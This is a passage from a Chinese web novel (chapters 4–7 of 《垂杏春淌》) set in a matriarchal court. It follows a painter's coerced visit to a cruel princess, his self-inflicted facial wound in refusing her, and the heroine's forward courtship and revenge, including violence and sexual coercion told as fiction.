史官写好了诏书,双手捧拿,跪奉到天子面前。天英眼也不垂,拿起诏书走下高台,停在玄凝面前。 “下次,把你的剑带来让本王瞧瞧。” 翘头履上凤蛇交缠,人蛇手握五色石,金凤翱翔彩云间。琼国姓氏排名中,“天”字第一,“玄”字第二,足以可见地位。可即使玄家富可敌国,也只能在成亲时着凤蛇袍。 天子封赏,不容拒绝。 玄凝硬着头皮接下了诏书,“是,陛下。” * 从皇宫出 4. Chapter.4 《垂杏春淌》全本免费阅读 长公主甩袖离开后,殿外长阶下候着的绿袍男侍见她步履急匆,知她心情不好,但想起家中情况,还是硬着头皮迎了上去。 “长公主……” “去去一边去。”长公主身边的女侍驱赶蚊蝇般,胡乱挥了挥手。 他也是听闻长公主出手阔绰,只要被她看上眼,得了宠幸的男子都能领到一笔不少的赏赐。 而他阿媫病重,卧床不起,若非急需钱两,他断然不会去巴结讨好她。 “长公主,求你垂怜小的,小的愿意给公主殿下当牛做马。”他低头跪在牡丹前磕头,天覃本就在气头上,被不知哪来的野狗挡住了去路,凤履一抬,发了狠地踹在他头上。 “哪来的贱人敢挡我面前!” 额头砸在平滑路面,“咚”的一声如撞钟闷脆。尽管疼痛欲裂,他仍固执地说:“要是这么做,殿下能解气,那小的愿意为殿下排忧解烦。” “混账小人!” “你个竖子狗辈,不是东西的东西!” “跟我同级你配吗!” “不过是天家养的一条犬,瞎了眼的下贱货色,还真以为自己是主子。” “抢我风头,我让你抢我风头!” 她越气越骂,又越骂越气,抬脚踹了一下又一下,口中所骂之人已然不再是绿衣男侍。 他的头一开始还能抬起,渐渐地,就俯身趴在地上,抬也抬不起来了。 动静声吸引了负责守卫凤殿的禁卫军,统领中护军的吉蕸将军实在看不下去,上前制止道:“殿下息怒,今日是殿下的成人礼,凤殿门外见血怕是不吉利。若这男侍犯了什么错,得罪了殿下,交给我们护卫军处理就好,何必弄脏公主鞋履。” 一人带头,其余人也纷纷围了上来。身旁的女侍赶紧拉住长公主劝道:“殿下您还要赶回府上,让画师为你作画呢,何必为了下人乱了陛下为你亲手簪的发髻。” 天覃甩开她的手,冷眼环视禁军,丝毫不惧,威胁道:“敢传出去让陛下知道,我割了你们的舌头。” 她刚要离开,宽大拖曳的裙摆被人拽住。 那男侍竟然还不死心,手牢牢地抓住衣角,原本白净的额头正往外冒血,灰头土脸,狼狈的像是个死囚,却也难掩俊秀相貌。 “殿下……求你……” 真是个狗皮膏药,天覃向来不喜欢主动黏上来的,刚想挣开,却听见男侍又虚弱念道:“殿下要作画……我恰好认得一位画师……此人精通人像……又是天景城不可多得的美人……” 精通人像,又是美人,天覃蹲下身问:“你说的,是君子兰?” “原来殿下知道他……” 岂止知道,她为了见到他,跑了几回画院,却是连人影都没见到。 就连这次的肖像画,她分明是预定了君子兰主笔,昨日却被画院夫人告知,君子兰有花粉症,起了疹子在家休养,怕传染公主凤体,就换了同样精通画像的余牙子。 什么余牙子,就是个年过四十的老头子。 天覃恨不得冲到君子兰家中,将人绑了带回府,可画院夫人死活不肯告诉她君子兰家住何处,真名谓何。 她气极败坏,恨不得掘地三尺,把这画院给扒了。但画院夫人与天子自幼相识,她极力维护君子兰,她若是动她画院,怕是陛下又要生气,关她禁闭。 “你说你认识君子兰?那你可知他的真实姓名,他人现在在何处?” “这个时间……他应该还在画院……至于真实名字,他不曾告诉小的。” “哦?本宫怎么听说他得了花粉症,居家养病呢。” “我曾于他同住……未曾听说他有花粉症。” 好,好极了。 胆敢联起伙来骗她,简直不把她这个长公主当回事。 天覃勾唇,眉眼魅惑,与方才判若两人。她挑起他的下巴,“你叫什么名字?” “小的……名乐,单字羊。家母希望我像羊圈中的羊一般,温顺贤良。” 天覃对他的名字由来并不感兴趣,松了手起身睥睨道: “不知你的名字,能否让君子兰乖乖的主动来本宫府上。” 见她心思只在君子兰身上,乐羊面色难堪,怕是被她利用完,又要踹走。 “……长公主” 天覃斜斜地一笑:“呵,你放心,你帮本宫了大忙,本宫一定会好好垂怜你的。” 月明风清,天景城城东画院依旧灯火明亮,院中的垂丝海棠虽未开放,点点雨沫会春意,嫩芽新苞悄然爬上枝头。 画院二楼,透过窗棂,依稀可以望见有人正执笔勾勒描绘,襻膊挂项间,露出一截珠玑般的粉白小臂,手腕轻点,画上人便有了神韵。 胡木旋梯上步履哒哒急促,来人一边爬楼,一边破嗓劈喉喊着“君子兰”,不曾应门,如一头疯泼骡子踏门而入。 被唤作“君子兰”的男子不为所动,白净手中笔杆未停,只需廖廖几笔,这幅画像就要完成。 “何事?” “长公主刚派人传话,问你认不认识一个叫乐羊的男侍,他此刻就在公主府上,还说你要是不来,明天就请画院全体画师……” 棠宋羽听到熟悉名字,顿笔抬眸问:“她想如何?” 画院小厮本恐慌难言,见君子兰抬眸,他呼吸微滞,喃喃道:“她就请喝羊肉汤……” “……” 只差最后一笔了。 棠宋羽放下手中的笔,还未完成的画便被他搁置在画案上。 “带我去公主府。” * 玄凝从长公主画像上挪开视线,望着他来时的路,恍然大悟。 沿着这条杏花路走下去,就到了公主府。 他从公主府出来,他是长公主的人? 意识到这点,玄凝瞬间心如刀割,既然是公主的人,那就不是她的攻略对象了。 可恶,如此美而不俗的人,怎就被长公主先得了去。 她心恼,不知不觉握紧了他的手腕。 棠宋羽吃痛,低头看向她的手,她虎口有茧,应是习武之人。 玄凝回神松手,她无意不知轻重,一松开,就见他手腕红了一片。 “抱歉。”她下意识道。 “……”棠宋羽欲言又止,收了手起身去捡落在地上的画轴。 “方才多谢女君。” 他声音虽小,听力极好的她却听得清楚。 玄凝回身望着他的背影,她捡起帷帽,心中千滋百味。纠结片刻,她无声上前,将帷帽轻轻放在他的头上。 白纱不轻不重地垂落眼暮,棠宋羽卷画轴的手,动作变得缓慢。 玄凝的目光却被他断了一截的袖片吸引,她捡起来端详,布料前半断面粗糙,而到了后半却异常平整,不似强拉硬拽扯开的,倒像是被利器所破。 想到他脸上的剑伤,玄凝心中已有结论。 看来长公主很生气,连美人都砍。 遥想到是她让长公主不悦,才害得美人破相,玄凝有点愧疚,拉着美人胳膊就走。 “我知道有家医馆,专门治疗皮肉伤,趁还未歇业,赶紧去瞧瞧。” 棠宋羽甚至来不及转身,被她拉拽着连连后退,被迫扭身走在她身侧道:“只是小伤,女君善意,我心领了……” “什么小伤,刀刃所破,处理不当会留疤,且极大可能会感染病种,落得个全身脓疮,溃烂而死。” 她故意把症状说得唬人,就是为了吓他。 如她所料,那人不通医术,眉眼略有忧虑。 玄凝趁热打铁,添油加醋道:“要是留了疤痕,长公主喜新厌旧,哪天就不要你了。” 他停下脚步,玄凝忽然拉不动他,疑惑回身,却见他垂头问道:“这有何不好?” “……你不想要长公主的恩宠?” 他若想要,断然不会亲手划了脸蛋,让自己破相。 * 酉时末,长公主府。 棠宋羽拿着画具,跟着女侍进了公主寝居。 门一推开,扑面而来的浓烈香让他皱了皱鼻子。入门第一眼,便是长公主换下来的礼服,正挂在红木衣杆上。屋内深处有衣料摩擦的声音,男声轻喘,女子莺语,不被他进门动静所扰。 棠宋羽拎着画箱站在门口,久久不肯进去,那莺语似有察觉,渐渐停下,厉声令道:“进来,哪有画师不见人就能画像的,你说对吗乐羊。” “……” 棠宋羽在画院当学徒时,认识了同窗乐羊,二人同吃同住,他为外乡人,生性寡言没少被同期欺负,乐羊为人仗义,总会将自己的吃食分给他。后来乐羊放弃学画跑去当男侍,两人闹得有些不愉快,再无联系。 春去秋来,棠宋羽在画院一熬便又是三年。 上天不负苦心, 5. Chapter.5 《垂杏春淌》全本免费阅读 戌时初刻,月色渐浓。 合欢音转,棠宋羽跪在桌案前,抿唇不发。 蘸墨舔笔,提腕轻描,狼毫笔下,丽人已初见神态。 他垂眼转过头,望向内室外的华美服裳,他看得仔细,却不想惹了案前之人不满。 长公主玩着手中发丝,面色潮红,雪白的肌肤暴露在空气中,随着动作微微轻颤。 “谁让你回头了,本宫说了,只能看着我们……” 棠宋羽回过头,余光看见二人身姿重叠,眼睫就又落了几分,直到眼中全是淡色黄绢。他扶腕提笔,运笔流畅,仅凭着进门时的记忆,将画中人物的华裳添上。 突然桌案一晃,淡墨线条便陡然变了方向。 棠宋羽不禁蹙眉,正想着如何将这一笔改去。二人声音靠近,长公主趴在桌案前,双肘撑立,望着绢纸上的人像,神情痴痴笑道:“画的可真像我……” 浓情时分的眼眸格外魅惑,她勾着眼角望着那张清冷淡漠的脸,道:“君子兰……你可当真是画技高超……就是不知……看着我与他……你当真没有反应吗?” 棠宋羽头也不抬,只道了一句“殿下谬赞”。 至于她所期许的反应,他不曾有,也不会有。 他不知自己越是冷淡,长公主对他的兴致就更加浓重。 天覃瞧他依旧面不改色,心中便又多了一个玩法。 “起开。” 她这一声,是对身后人说的。 乐羊知趣的离开,见她爬到棠宋羽身边,对他勾了勾手指。 他大抵猜到几分她要做什么。 只是他没想到,长公主丧心病狂到将他当成君子兰的替身,发出叫喊故意羞辱他。 “君子兰……呵真是好名字……” 一声又一声, 一声盖过一声。 棠宋羽面色铁青,握着毛笔的手愈发用力,几乎快要将笔杆捏断。 他迟迟不下笔,长公主便又寻他开心,谁知刚碰到他的手,他倏忽起身,转到了她的对面半跪下来。 她本以为他这是要看得仔细些,谁知他收拾画匣,像是准备离开。 天覃一怔,厉声叱道:“大胆!谁允你离开了!” 棠宋羽头也不抬道:“卑职只是想起画院还有要紧事情,就不打扰殿下好兴致了。”说完,他将桌案上的绢纸合起,拎上画匣就要走。 长公主愤然而起,“你若再敢往前一步,我就杀了他。” 棠宋羽闻声停下,回身盯着乐羊的脸。 来时,画院夫人劝他想清楚,“此事是真是假尚且存疑,一旦进了公主府,可就再难干净出来。” 棠宋羽手持细笔,在自己的脸上画着红疹。 “我知道。” “知道你还……” “黄夫人,你既了解长公主,那便一定知道。我今日不去,她明日、后日,还会继续来闹,只要我在天景城一日,她见不到我誓不会罢休。” “乐羊对我有恩,我此去,也是为了还他这份恩情。” 他想过这是一场长公主为他设下的陷阱,但他没想到,乐羊竟会与长公主一起设下陷阱,等他过来。 沾水拭面时,长公主的目光落在棠宋羽的脸上,久久不再挪开。 棠宋羽心以为乐羊受了长公主威胁,便跪下恳请长公主放了他。 长公主盈盈一笑,“放了?是他自己乞怜摇尾求本宫宠幸,要不是看在你的面子,本宫万万不会将他带回来呢。”她脚尖划过,地上俯跪之人抬起了头。 棠宋羽低头对上他的眸子,神色便又黯淡了几分。 见他目光失望,乐羊心虚道:“殿下想要作画像,我便想到你了,你不会不给我面子吧。” 如今,面子应该给够了。 “我已如你所愿为长公主作画,来时匆忙,未能携带明黄,今日无法着色,等明日完成,我会差人将画送到公主府中。” 乐羊刚得了公主宠幸,本还喘着气,听到长公主的话后,他惊慌失色,往前爬道:“你回来!君子兰,莫再惹殿下不高兴,算我求你了。” 棠宋羽见他爬过来,本能后退一步,颦眉道:“乐羊,我尊重你的选择,也请你尊重我的选择。” “尊重?选择?” 乐羊停下嗤笑道:“君子兰,我没得选,你也一样。你口口声声说不以色立足,如今不还是爬上黄夫人的床榻,靠一张脸名声大噪。” 棠宋羽听得皱眉,却又听他说:“能得长公主青睐,你还想要什么?难不成你是想进宫服侍天子吗……” “乐羊。” 他语气不好,面色阴沉,乐羊认识他以来就没见过他生气,顿时愣在原地。 然而也就眨眼间的功夫,棠宋羽脸上恢复到与往日一样的神情,不悲不喜,不憎不恨,宛如壁画上的神仙,目光怜悯的望着他。 “你这是什么眼神……”乐羊喃喃道,难道是觉得他很可怜吗? 回过神时,棠宋羽已走出帷幕,身影如来时那般挺拔。 “拦住他!” 长公主沉着脸,披上衣服,拔剑追了出去。 一声令下,棠宋羽刚出寝居大门,就被团团围住。 随之而来,是利刃划破衣袖的声音。 棠宋羽低头看见自己衣袖被划破,仍不慌不忙转过身,直视着长公主的眼睛。 “不劳烦公主送客。” “赫!”天覃被他气笑了,嘴一斜一正,眉一低一高,提剑指着他的脸叱道:“你觉得你还走得了吗,本宫劝你还是乖乖听话,做本宫的侽宠,好好服侍本宫,说不定本宫高兴,还能赐你个宠环做。” 围着棠宋羽的男人面面相觑,他们大都是天覃的侽宠或男侍,就算再得她的欢心,也只是多了些金银珠宝,从未听过长公主要赐给谁宠环身份。 众人羡煞中,棠宋羽向前走了一步,离尖刃更近了些,“是吗,公主愿意将宠环赐予我吗。” 果然,没有人会拒绝成为她的宠环。 就连君子兰也是。 见他心动,天覃柔了脸色,“那是自然,只要你愿意留下,本宫就赐你宠环……” 话没说完,她骤然变了脸色。 “你做什么!” 怒声先至,她已来不及收剑。 剑刃划过面颊,虽然感到疼痛,棠宋羽却面色不改。 他抬起头,脸上赫然一道血痕。 众人惊讶,谁也想不到他会突然主动撞上公主的剑上,硬生生划破了脸。 “现在,公主还想赐我宠环之位吗?” 他竟如此不屈! 天覃气得牙都咬碎了,“你真以为本宫不敢杀你?” “公主想杀,那便杀了,天景城不缺画师,也不缺美人。” 天景城不缺画师,不缺美人,却缺少美人画师。他这是算准了她不舍的杀他! 天覃面色铁青,神情阴鸷,望着他脸上伤口,握紧了拳。 好一个君子兰,当真是铁骨铮铮。 如此自诩高洁傲岸,目中无人的男子,她也不是第一次见,最后那些人不还是老老实实成了榻上之人,求着她宠幸。 硬骨头就是要慢慢啃才有趣。今日放他离开未尝不可,不过来日,她一定要他跪着来求他宠幸。 这么想着,天覃松了拳头,“你走吧。” “多谢公主。” 虽然言谢,却毫无感激之神采。 棠宋羽转过身,那些男子纷纷给他腾出一条路来。他身姿如雪中傲梅孤芳自赏,又如盛夏翠竹无偏无倚,眉眼平和无绪,便是凋零秋色也无法让他眉间染上忧伤。 如此出尘,教人看得挪不开眼睛。 众人的目光追随着他的背影远去,直到人消失在院门外,回过神来久久怅然失所。 “派个手脚利索的哑巴跟着,我到要看看他家住哪。” 长公主嘴角勾笑,凤眼闪着精光。 “君子兰,我们来日方长。” * 戌时过半。 杏花树下,月影重重。 见男子迟迟不吭声,玄凝纳了闷,她走到他面前,俯着身歪头端打量了会。 “你帷帽戴歪了。” 说完,她就上手将他的帷帽举起。 他闻声抬眸,眼波流转,似有无尽思绪在其中。玄凝被他看得呼吸一滞,身子愈发凑近,近到可以看清他眼角的淡痣,近到可以听见他温浅呼吸。 “女君,自重。”他垂眸退到纬纱后,将二人的距离拉开。 帷帽被留在了手中,玄凝讪讪放下手,反问了他一句。 “我若不呢?” 玄凝本是纯心逗他,却不想他当了真。 “那我就报官。” 玄凝嘴角勾笑,别说是轻薄一个男子,就算是她杀了他站在尸体旁边,官府来了都会装作看不见她。 她凑近道:“你可真是,可爱……” 唇上有软物相贴,棠宋羽呼吸瞬间停滞,瞳孔不知是被夜风吹动,还是被他的心跳扰乱,不自主的轻颤着。 拎着画匣的手不稳,眼看要松开,却被她垂下的手握住。 月亮升到树梢,将借来的光芒赠予大地,赠予杏花,赠予摇曳春色下的重叠身影。 浅尝辄止,玄凝意犹未尽的舔了舔嘴唇。 他仿佛成了杏树,站在月光下一动不动,神情呆滞。 坏了,不会是吓傻了吧。 她低头,却见他那握着画轴的手,攥的青筋凸起,掌骨分明。 就在她垂眸时,他喃喃细语道:“女君饮了酒……” 她一身酒气在来时路上已吹淡了不少,可唯独嘴边的气息,还依然盛隽。 玄凝噙着笑,抬眼瞧他还要说些什么。嫣唇翕动,她盯着若即若离的唇瓣,心中冲动又爬上了脑。 “我现在很是清醒。” 帷帽落地,她的手握住他颈间柔美线条,拇指轻按,带着一层薄茧的指腹在他耸山见微的喉结处摩挲,勾头凑上前。 他非木石,缓过神也知道要躲。 可他刚要退,她像是早有预料,握住他的手随着他的慌乱一尺一寸的入侵。 后脑勺慌不择路,带着他撞在了杏花树上,杏花受惊,原地跳起跺了跺脚,却不慎将私藏的春雨抖落,淋了“罪魁祸首”满脸春色。 玄凝仰着头,陪他一起看了场杏花雨。 被逼到无处可退的他,望着眼前忽然眉眼忧郁的女君,他眉眼像是揉碎了重新汇聚,看似平整光洁内里却纷杂无序。 他不解她为何心忧。 更不解她所忧为何牵他所忧。 他刚从长公主那得了侮辱,如今却又落到陌生女子手中……难道他是什么物件,可以随便轻薄折辱吗。 呵……是啊……天景城的男子……可不就是她们的物件。 就是他一技傍身,不也难逃世人之口,难逃长公主之手,连街上随随便便的一个陌生人都能对他…… “你怎……哭了?” 玄凝见他落泪,心慌意乱,赶紧用手去抹开他的泪水,哪料他眼泪如断线珍珠,一颗接着一颗砸在他的脸上。 她怕弄脏他的伤口,只好等水滴划过红痕才将其拈去,柔声哄道:“伤口会疼的。” 疼……远不及他心痛。 他不知自己的前景是明是暗,无人为他指明方向,他便是在一条独木桥,摇摇晃晃走到黑,脚下横木随时断裂,稍有不慎他便死无葬身之地。本就是如此险境,天上却还飞着火凤,烈焰高涨,随时吞没了他。 他怎可能不怕。 只是多年来的忍辱,让他学会了喜怒哀怨不形于色。 见他不停,玄凝无奈叹气,将人抱在怀中半开玩笑安慰道:“你想哭便哭吧,反正我今夜不想归家,你哭一夜都行。只是哭肿了眼,明日难以作画,可不要赖我。” 她嘴巴贴在他的耳边,用仅他可以听见的声音道:“有人在盯,应该是长公主的人,跟了你一路了。” 棠宋羽闻声,渐渐止了泪。 长公主派人跟踪他,无非是要知道他家住何处。 抱着他的人,不时在他背上抚摸,像是在摸小猫小狗般。 她衣着布料不凡,想来家中非富即贵。 棠宋羽面色一滞,他竟起了利用心思。 他这样,和以色侍人又有什么区别。 “长公主若是知道她的侽宠在外面和其他女君搂搂抱抱,你怕是要……” “我并非长公主之人。”他语调决绝,毫不拖泥带水。 玄凝的心快要跳出来了,她放开他,盯着他红眶之下的眼眸又问了一遍:“你说什么?” “我是东城画院的画师,并非是南城公主府上的侽宠,今日我是去给她作画像的。” 他不是长公主的人…… 那不就是,她的人了? 她明眸闪烁,像是有了期待。 “你叫什么名字?” 原来她不知他是君子兰…… 君子兰……一想到这个名字,他胃里止不住的翻江倒海。 那个气味,那个人的故作姿态,都仿佛黏在了这个称呼上,让他恶心。 “姓棠,名宋羽。” “棠宋羽……”玄凝念着他的名字,心领神会,“是不是有两个木?” 棠宋羽一怔,“女君如何得知?”他的真名从未与旁人提及过。 …… 她如何得知? 在她差点闹出乌龙找系统算账时,系统人员大发慈悲告诉了她有关攻略对象的线索。 她的定制对象,名字里也有两个木。 巧合? 哪能这么巧。 玄凝激动的握住他的肩膀,“我等了你十四年,总算是把你等到了。” 等了他……十四年? 她如今样貌看起来也就14左右。 “女君真会说笑。” 他想躲开她眼中莫名炙热的情感,却被她捧着脸强迫与其对视。 “不是说笑,我是真的一直在等你出现。” 她面色激动的绯红,说着让人摸不着头脑的话,眉眼神情却极其认真。 棠宋羽见过对他爱慕的眼神,也见过对他动了欲念的神色,倒是头一回见到有人能把这两种情感结合的恰到好处。 他差点就要以为她说的是真的。 未等他有所表示,她忽的骂骂咧咧。 “这个长公主,居然敢划伤我的人,既然没人管教,那我就替她阿媫好好管管她。” 说完,她蹲下捡了一块石头。 棠宋羽没有看清她是如何出手,就听见远处有重物跌落。 玄凝面露笑容,眼也不眨的问道: “你想让他死,还是想让他活?” ……她是在问他? “那是长公主的人,女君何必自扰麻烦。” 就算她地位再高,也不可能高过长公主。棠宋羽不想利用她,亦不想牵扯到她。 “天色已晚,女君早些回家吧。” 玄凝看了看他,忽然抱着他的脸又亲了一口。 “你……”她这是欺负他无手可挡。 “你先回去吧,伤口记得用水冲洗擦干,明日我拿了药膏去画院找你。” 他隐隐察觉到话外之意,不禁蹙眉,“……女君要做什么?” “不做什么,只是我这人,睚眦必报。” 亥时初长公主府。 放走了棠宋羽,天覃回身看见乐羊跪在地上,目无光彩,她便将今夜爱而不得的怒火又撒在了他身上。 她金枝玉叶,后来懒得亲自动手。唤几个侽宠进屋,凌辱一番后,就将他轰了出去。 乐羊抱着自己的绿袍,颤颤巍巍地坐起,他浑身青紫,已看不出原本肤色。 女侍拿着一个碗过来,放到他的面前。 “殿下心善,赏你一个邢窑白瓷。” 他本被受罚折辱赶出凤堂前,没想到长公主还会给他赏赐。 乐羊欣喜接过碗,却看见碗中有血肉残迹。 “这是……” “噢,公主不喜欢邢窑白瓷,我们只好拿它作狗碗了。” 狗碗? 乐羊恼羞成怒,捧着碗高高举起。女侍见了,冷嘲热讽道:“你敢砸殿下赏赐?” 手中动作一顿,乐羊面容痛苦挣扎,邢窑白瓷,洗干净,再说是长公主收藏,也能卖个高价钱。 就是狗碗,也是他一身自尊换来的。 女侍早就预料到他不会砸,离开时还要讥讽几句。 “一身贱骨头,跟个贱狗似的。” 乐羊木楞楞地将碗搁置一旁,艰难穿好衣裳,抱着碗起身要走时,却听到院外一阵喧哗。 院门被一脚踹开,只见一位身着丁香紫衣的女子提裙收脚,在她另外手里,还拎着一人。 她力气大的惊人,提着那人肩膀,将人送了出去。 乐羊连忙蹲下,躲过头顶上飞过去的黑影。 那黑影砸在公主寝殿大门,“哐啷”一声巨响,直接将门窗砸了个大洞,被破开的门吱扭吱扭地摇晃。 乐羊看得目瞪口呆,是谁如此放肆,居然敢砸公主的门。 他余光看见丁香晃动,目光跟上时,只望见了她的背影。 长公主本在美人怀里哄着快要入睡,却被巨响吓得惊醒。 “发生了何事?” 她起 6. Chapter.6 《垂杏春淌》全本免费阅读 晨鸡报晓,空无一人的城东街道陆陆续续有男工出门,去到自家主子府上工作。熹微春光中,城东画院的大门被人从里打开。 小厮将门栓放下,正打着哈欠,却听门外步履缓慢,随之踏进朱色门槛。 来人一身赪霞暗纹圆领袍,在晨昏中宛如一抹朝日。琼国上下唯有女子方能穿着亮色,偏那人是个男子,小厮只看了一眼便知道是谁。 “君子兰?你今日怎来的这么早?” 棠宋羽面色略有疲惫,听到小厮询问,道了一句“来作未能作完之务”,便携着画匣上到二楼。 二楼光线昏暗,他走到位置上放下画匣,转身将透着浅光的窗牖打开。 窗外天光渐亮,照的屋内明亮了些许。 棠宋羽坐在画案前,望着昨日还未完成的画,手上默默添水研墨,一夜的纷杂思绪好像随着墨色一同融于水中,分不开,理还乱。 唯有忙碌才能将心静下。 画院从三两声鸟啼,到人声熙攘,最后只剩下了和煦春风穿过弄堂发出的轻响。 已过晌午,正值春光,画院中除了个别画师,其余都外出采风去了。 棠宋羽揉着手腕,他刚将长公主的画作色完成,只待颜料晾干,再送去装裱即可。 忙时未察,闲下来便觉得腹中空饥。棠宋羽将手沾水搓洗,拿起挂着的帕子擦拭干净,正整理衣袖时,门外传来小厮声音。 “画师,你在吗?” 棠宋羽淡淡问了一声:“怎么了?” “有个人让小的将这个给你。” 小厮见他正准备出门,便将东西放在案台边上。 “是谁送来的?” “没见过,是个女君,她说画师你打开便知道是谁了。” 棠宋羽走回画案,视线落在器皿上。 那是个折枝牡丹样式的月白药盒,巴掌大小,重量刚好。 他打开药盒,一股草药混合着油脂气味扑面而来,闻着略带苦幸,他鼻头紧了紧,正想将盒子盖上,目光却扫见瓷盖内部刻着几个字。 棠画师专用。 刻字歪扭,像是匆忙,“用”字一竖线痕迹浅淡,粗看像是个“月”字。 还真是她。 “她人还在吗?” “说完人就走了,看起来怪匆忙的。 * 夜幕降临,玄凝跪在祠堂正昏昏欲睡,突然门外传来脚步,她连忙正襟危坐,口中振振有词,“列祖列宗在上,小女不该冒犯天子,冒犯长公主,我愧对玄家祖训……” 玄遥一进来就看见她正在磕头,不禁笑道:“行了,我还不知道你,白日里几时出庄几时回来我可都清清楚楚,说,你进我药房拿了什么。” 玄凝一不做二不休,跪在地上装死。 玄遥看着她头上落的杏花,鞋履底面粘的尘土,心了道:“我听说,你昨晚在外面遇到了个貌美画师……” 云泥天蜻这两人怎么什么话都和玄遥说,她还能不能有点隐私。 玄凝如鲤鱼打挺,瞬间直起身回头道:“阿媫,你不要打他的主意,你侽宠已经够多了。” 她这话一出,玄遥嘴角都凝住了。 “你这孩子说话越来越肆无忌惮了,看来还是不能心疼你,你就继续在这跪半个月吧。” 玄遥转身就要走,脚下却被人抱住,“撒开。” “阿媫我错了。”玄凝紧紧搂着她,不肯撒手。 玄遥问:“错哪了?” 她眨着杏眼,装傻道:“阿媫侽宠其实不多的,也就……一二三四五,五个个。” “错了,是六个。”玄遥掰开她的手,毫不留情道:“继续跪着吧。” 怎么就六个,总不会把她那死去的阿父也算上了吧? 她被罚祠堂闭门思过一整天,自然不知她阿媫白日里又得了一个新宠。 要等玄遥消气放她出门,怕不是要等到杏花落完。 玄凝怕她的小画师把她忘了,得了空子就偷溜出去。 街上的人果然都在议论玄家封爵之事,除此之外,还有一件事。 长公主自成人礼后,没有出过门。 玄凝戴着面纱不动声色经过,走到一处偏僻小巷,翻身跃上屋顶,沿着青瓦一路飞步。 画院位于城东边界,背靠山坡,向来清静。棠宋羽捋着思绪,将明黄蘸水晕染而上。 他画的专注,丝毫不察有人正爬上窗户偷望。 直到上完颜色,他捂着脖颈仰头伸长,却听见旁边有人轻佻笑道:“棠画师,需要我给你揉揉脖子吗?” 知道他姓甚,又叫他“棠画师”的,也就只有她了。 他转头看见那人戴着面纱手撑在窗槛上,心中不免疑惑。 她是怎么上来的。 “见棠画师画得专注,不舍打扰——” 玄凝半个身子悬在空中,见他望过来,还空了一只手打招呼,谁知布料光滑,她手肘一滑掉了下去。 见她身子陡然掉落,棠宋羽面色一变,三两步走上前,探头望向窗外。 谁料她的脸又骤然出现在眼前。 玄凝见到他惊讶神色,也是一愣,她脚下踩着玄鸟雕饰借力蹬了上来,不然险些出糗。 她趁机搂着他脖颈,抬腿翻窗。 棠宋羽踉跄后退了几步重重跌坐在地,后背磕在画案边沿上,这才止步。 怀中的女子还很是“好心”,将她手垫在了他身下,这才没有摔疼他。 见她眉头一皱,棠宋羽抬身将她的手取出,那白皙的手背上,红了一大片。 玄凝只是甩了甩手,道:“习武之人皮糙肉厚,哪里比得上画师娇嫩,棠画师不必为我担心。” 见人无事,棠宋羽敛了神色,想将人推开。 “殿下金枝玉叶,莫要再做出这样的事了。若出了事,卑职承担不起。” 玄凝愣然,连他也知道了,那天景城怕是无人不知了。 “画师说我金枝玉叶,可不知在我心里,画师才是千金之躯,不可损伤半点。” 玄凝还戴着面纱,眼睛弯似杏花,日光斜斜照在她身后,将她的周身勾勒出一道柔和线条。 她分明说着佻薄话语,眉眼中却没有一丝轻浮,望着他的神情格外认真,比那晚在杏花下还要袒露。 棠宋羽心不知所言是真是假,一霎的无声慌乱后,再次垂首。 她却不肯赠他清净,手心抚上他的脸颊,疑惑问道:“伤口怎么还没见好,那个膏药据说见效很快的啊。” 棠宋羽垂了眼色,刚要挣开,她却厉声问道:“你没有涂?” 玄凝盯着他身后,画案之上,牡丹药盒还静静地搁置在宣纸一角上。 她气得扯下面纱,“你把我送你的膏药用来压画纸?” “没有……本想着得空还给殿下……” 解释是件麻烦的事情,棠宋羽不擅解释,尽管他心中这样想着,但嘴上一句话没说。 玄凝见他不说话,纤长的手臂直接略过他,起身将药盒攥在手中,“棠画师怎么能不用呢?” 他正因为她身体忽然靠近而皱眉,抬头看到她笑着打开药盖,用手指蘸上了乳白色膏体。 “难道是等着我亲自给画师上药?” “……不必了。” 见他要跑,玄凝直接将人按在画案边上,单手捏住他的下巴抬起,强迫他直视。< 7. Chapter.7 《垂杏春淌》全本免费阅读 城南杏花深处,一辆马车刚驶离沛王府邸, 天子赐长公主“沛”字,是望其学识才气充沛,成天子气候。奈何长公主任性,虽有灵气,却不往正处使,以至于年过十五,只充沛了后室。 女侍刚送走了医师,还未进门,就听见长公主气急败坏的声音。 “玄凝!去死!给我去死!” 巴掌伴随着咒骂一声声落下,被打之人旧伤未愈,又添新伤,已然躺在地上昏迷不醒。 长公主又踢了两脚,这才算发完了火坐下来休息。 有呜咽声入耳,她看向身旁被吓得抽泣的侽宠,冷眼叱道:“看什么看!一群废物!” 平日里好吃好喝供着这些男人,一遇到事情就躲,连自己的主子都保护不了,连条狗都不如,养条狗还知道叫呢。 要不是怕事情闹大,走漏消息,她早就将这些人悉数打一顿赶出府去。 女侍听见动静消退,躬身走了进去,“是哪个不长眼的下人又惹长公主生气了。” 她看到地上躺着半死不活的男侍,皱眉指着侽宠们,“赶紧把人抬出去,别脏了公主寝地。” 等他们离开,女侍又走到公主身后跪着,“医师说了,肝火旺不利于伤口愈合,殿下最近莫要动怒。” “莫要动怒?你看看本宫的脸!”天覃回过头,脸上赫然一道狰狞疤痕。 “本宫如今这个样子,传出去,怕不是天景城所有人都会笑话本宫咎由自取。” “殿下何必在意那些旁人闲碎之语,即便殿下脸上有伤,那也是天景城最美绝的女子。” 长公主闻言,眉间的气消了不少。 “你当真如此认为?” 女侍荻花从小陪伴公主一起长大,比天子还要了解公主脾性,知道她爱听好话,便道:“当真。” “天景城谁人不知长公主风采绝伦,她们嫉妒公主位高权重却依然生得貌美,议论殿下内室之宠也多半是嫉妒殿下本事。” 女侍的哄话天覃很是受用,嘴角翘起说了句“那是自然,本宫可是天家女”。 可当她再次看向明镜,乌云过境,坠落了眉梢,又压垮了红翘。 野蛮玄子,竟让她容颜半毁。 天覃沉声问:“君子兰和玄凝的关系查清楚了吗?” “已派人调查清楚,君子兰和玄家小庄主并无交集。” 没有交集? 既不认识,她怎会帮他出头,还是说,玄凝只是想找个理由毁她面容。 荻花垂着眼,余光中看见长公主唇边漾起的微笑,便知她心思。 “去找几个高手废了她的手,她自以剑法了得不可一世,本宫偏要让她也尝尝失去重要之物的滋味。” “是。” 她刚要退下,长公主又道:“做的干净些,不要惊动陛下和玄家。” “是……” 赪霞点燃了天边,宛如胭脂点染朱砂,将城东画院大门顶上的金鹤映的发亮。 只可惜众人忙着赶画,无人欣赏夕阳。 直到暮日四合,红河对面的街道华灯初上,画师们这才放工回家。 棠宋羽一直是早至晚归,等小厮点着灯上来时,他刚合上窗。 “画师,还不走吗?” “这就回去。” 他斜身走到小厮身前,持着灯笼缓缓下楼。 